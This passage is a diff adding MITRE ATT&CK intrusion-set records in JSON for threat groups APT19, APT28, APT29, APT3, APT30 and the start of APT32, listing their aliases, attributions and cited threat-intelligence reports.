"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "APT19", + "Codoso", + "C0d0so0", + "Codoso Team", + "Sunshop Group" + ], + "id": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "description": "[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)", + "x_mitre_contributors": [ + "FS-ISAC", + "Darren Spruell" + ], + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0073", + "url": "https://attack.mitre.org/groups/G0073" + }, + { + "description": "(Citation: FireEye APT19)", + "source_name": "APT19" + }, + { + "description": "(Citation: Unit 42 C0d0so0 Jan 2016)", + "source_name": "Codoso" + }, + { + "description": "(Citation: Unit 42 C0d0so0 Jan 2016)", + "source_name": "C0d0so0" + }, + { + "description": "(Citation: FireEye APT Groups)", + "source_name": "Codoso Team" + }, + { + "description": "(Citation: Dark Reading Codoso Feb 2015)", + "source_name": "Sunshop Group" + }, + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + }, + { + "source_name": "ICIT China's Espionage Jul 2016", + "description": "Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China\u2019s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.", + "url": "https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/" + }, + { + "url": "https://www.fireeye.com/current-threats/apt-groups.html#apt19", + "description": "FireEye. (n.d.). Advanced Persistent Threat Groups. Retrieved August 3, 2018.", + "source_name": "FireEye APT Groups" + }, + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + }, + { + "url": "https://www.darkreading.com/attacks-breaches/chinese-hacking-group-codoso-team-uses-forbescom-as-watering-hole-/d/d-id/1319059", + "description": "Chickowski, E. (2015, February 10). Chinese Hacking Group Codoso Team Uses Forbes.com As Watering Hole. Retrieved September 13, 2018.", + "source_name": "Dark Reading Codoso Feb 2015" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT28", + "x_mitre_version": "3.2", + "modified": "2021-10-18T20:34:03.233Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "APT28", + "SNAKEMACKEREL", + "Swallowtail", + "Group 74", + "Sednit", + "Sofacy", + "Pawn Storm", + "Fancy Bear", + "STRONTIUM", + "Tsar Team", + "Threat Group-4127", + "TG-4127" + ], + "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "description": "[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019)\n\n[APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). ", + "x_mitre_contributors": [ + "S\u00e9bastien Ruel, CGI", + "Drew Church, Splunk", + "Emily Ratliff, IBM", + "Richard Gold, Digital Shadows" + ], + "created": "2017-05-31T21:31:48.664Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0007", + "url": "https://attack.mitre.org/groups/G0007" + }, + { + "description": "(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", + "source_name": "APT28" + }, + { + "description": "(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "source_name": "SNAKEMACKEREL" + }, + { + "description": "(Citation: Symantec APT28 Oct 2018)", + "source_name": "Swallowtail" + }, + { + "description": "(Citation: Talos Seduploader Oct 2017)", + "source_name": "Group 74" + }, + { + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT.(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018)", + "source_name": "Sednit" + }, + { + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)", + "source_name": "Sofacy" + }, + { + "description": "(Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) ", + "source_name": "Pawn Storm" + }, + { + "description": "(Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", + "source_name": "Fancy Bear" + }, + { + "description": "(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", + "source_name": "STRONTIUM" + }, + { + "description": "(Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)", + "source_name": "Tsar Team" + }, + { + "description": "(Citation: SecureWorks TG-4127)", + "source_name": "Threat Group-4127" + }, + { + "description": "(Citation: SecureWorks TG-4127)", + "source_name": "TG-4127" + }, + { + "url": "https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF", + "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020.", + "source_name": "NSA/FBI Drovorub August 2020" + }, + { + "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", + "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.", + "source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021" + }, + { + "url": "https://www.justice.gov/file/1080281/download", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "source_name": "DOJ GRU Indictment Jul 2018" + }, + { + "source_name": "Ars Technica GRU indictment Jul 2018", + "description": "Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.", + "url": "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/" + }, + { + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "source_name": "Crowdstrike DNC June 2016" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28" + }, + { + "source_name": "SecureWorks TG-4127", + "description": "SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.", + "url": "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign" + }, + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "source_name": "FireEye APT28 January 2017" + }, + { + "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf", + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", + "source_name": "GRIZZLY STEPPE JAR" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "source_name": "Sofacy DealersChoice" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018" + }, + { + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "source_name": "Symantec APT28 Oct 2018" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "url": "https://www.justice.gov/opa/page/file/1098481/download", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.", + "source_name": "US District Court Indictment GRU Oct 2018" + }, + { + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy" + }, + { + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 3" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018" + }, + { + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018" + }, + { + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.", + "source_name": "TrendMicro Pawn Storm Dec 2020" + }, + { + "source_name": "Microsoft STRONTIUM Aug 2019", + "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/" + }, + { + "url": "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/", + "description": "Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.", + "source_name": "Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "APT29", + "x_mitre_version": "2.1", + "modified": "2021-10-16T00:59:58.792Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "APT29", + "NobleBaron", + "Dark Halo", + "StellarParticle", + "NOBELIUM", + "UNC2452", + "YTTRIUM", + "The Dukes", + "Cozy Bear", + "CozyDuke" + ], + "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\n\nIn April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", + "Matt Brenton, Zurich Insurance Group", + "Katie Nickels, Red Canary" + ], + "created": "2017-05-31T21:31:52.748Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0016", + "external_id": "G0016", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)", + "source_name": "APT29" + }, + { + "description": "(Citation: SentinelOne NobleBaron June 2021)", + "source_name": "NobleBaron" + }, + { + "description": "(Citation: Volexity SolarWinds)", + "source_name": "Dark Halo" + }, + { + "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)", + "source_name": "StellarParticle" + }, + { + "description": "(Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021)", + "source_name": "NOBELIUM" + }, + { + "description": "(Citation: FireEye SUNBURST Backdoor December 2020)", + "source_name": "UNC2452" + }, + { + "description": "(Citation: Microsoft Unidentified Dec 2018)", + "source_name": "YTTRIUM" + }, + { + "description": "(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)", + "source_name": "The Dukes" + }, + { + "description": "(Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)", + "source_name": "Cozy Bear" + }, + { + "description": "(Citation: Crowdstrike DNC June 2016)", + "source_name": "CozyDuke" + }, + { + "url": "https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/", + "description": "White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021.", + "source_name": "White House Imposing Costs RU Gov April 2021" + }, + { + "url": "https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services", + "description": "UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021.", + "source_name": "UK Gov Malign RIS Activity April 2021" + }, + { + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes" + }, + { + "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf", + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", + "source_name": "GRIZZLY STEPPE JAR" + }, + { + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "source_name": "Crowdstrike DNC June 2016" + }, + { + "url": "https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise", + "description": "UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021.", + "source_name": "UK Gov UK Exposes Russia SolarWinds April 2021" + }, + { + "url": "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF", + "description": "NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.", + "source_name": "NSA Joint Advisory SVR SolarWinds April 2021" + }, + { + "url": "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise", + "description": "UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.", + "source_name": "UK NSCS Russia SolarWinds April 2021" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", + "source_name": "MSTIC NOBELIUM Mar 2021" + }, + { + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.", + "source_name": "CrowdStrike SUNSPOT Implant January 2021" + }, + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", + "source_name": "Volexity SolarWinds" + }, + { + "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf", + "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.", + "source_name": "Cybersecurity Advisory SVR TTP May 2021" + }, + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", + "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.", + "source_name": "ESET Dukes October 2019" + }, + { + "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf", + "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.", + "source_name": "NCSC APT29 July 2020" + }, + { + "url": "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", + "description": "Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.", + "source_name": "SentinelOne NobleBaron June 2021" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", + "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", + "source_name": "MSTIC NOBELIUM May 2021" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", + "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021.", + "source_name": "MSTIC Nobelium Toolset May 2021" + }, + { + "url": "https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/", + "description": "MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.", + "source_name": "MSRC Nobelium June 2021" + }, + { + "url": "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/", + "description": "Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.", + "source_name": "Microsoft Unidentified Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "APT3", + "x_mitre_version": "1.4", + "modified": "2021-10-01T19:09:20.817Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "APT3", + "Gothic Panda", + "Pirpi", + "UPS Team", + "Buckeye", + "Threat Group-0110", + "TG-0110" + ], + "id": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "description": "[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)\n\nIn 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)", + "x_mitre_contributors": [ + "Patrick Sungbahadoor" + ], + "created": "2017-05-31T21:31:55.853Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0022", + "external_id": "G0022", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)", + "source_name": "APT3" + }, + { + "description": "(Citation: PWC Pirpi Scanbox) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)", + "source_name": "Gothic Panda" + }, + { + "description": "(Citation: PWC Pirpi Scanbox)", + "source_name": "Pirpi" + }, + { + "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)", + "source_name": "UPS Team" + }, + { + "description": "(Citation: Symantec Buckeye)", + "source_name": "Buckeye" + }, + { + "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)", + "source_name": "Threat Group-0110" + }, + { + "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)", + "source_name": "TG-0110" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html", + "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.", + "source_name": "FireEye Clandestine Wolf" + }, + { + "url": "https://www.recordedfuture.com/chinese-mss-behind-apt3/", + "description": "Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved June 18, 2017.", + "source_name": "Recorded Future APT3 May 2017" + }, + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + }, + { + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye" + }, + { + "source_name": "APT3 Adversary Emulation Plan", + "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", + "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" + }, + { + "url": "http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html", + "description": "Lancaster, T. (2015, July 25). A tale of Pirpi, Scanbox & CVE-2015-3113. Retrieved March 30, 2016.", + "source_name": "PWC Pirpi Scanbox" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT30", + "description": "[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: FireEye APT30)(Citation: Baumgartner Golovkin Naikon 2015)", + "x_mitre_version": "1.1", + "modified": "2020-07-29T19:34:28.999Z", + "aliases": [ + "APT30" + ], + "created": "2017-05-31T21:31:51.026Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0013", + "external_id": "G0013", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT30) (Citation: Baumgartner Golovkin Naikon 2015)", + "source_name": "APT30" + }, + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + }, + { + "source_name": "Baumgartner Golovkin Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.", + "url": "https://securelist.com/the-naikon-apt/69953/" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT32", + "x_mitre_version": "2.5", + "modified": "2021-10-14T16:39:50.790Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "APT32", + "SeaLotus", + "OceanLotus", + "APT-C-00" + 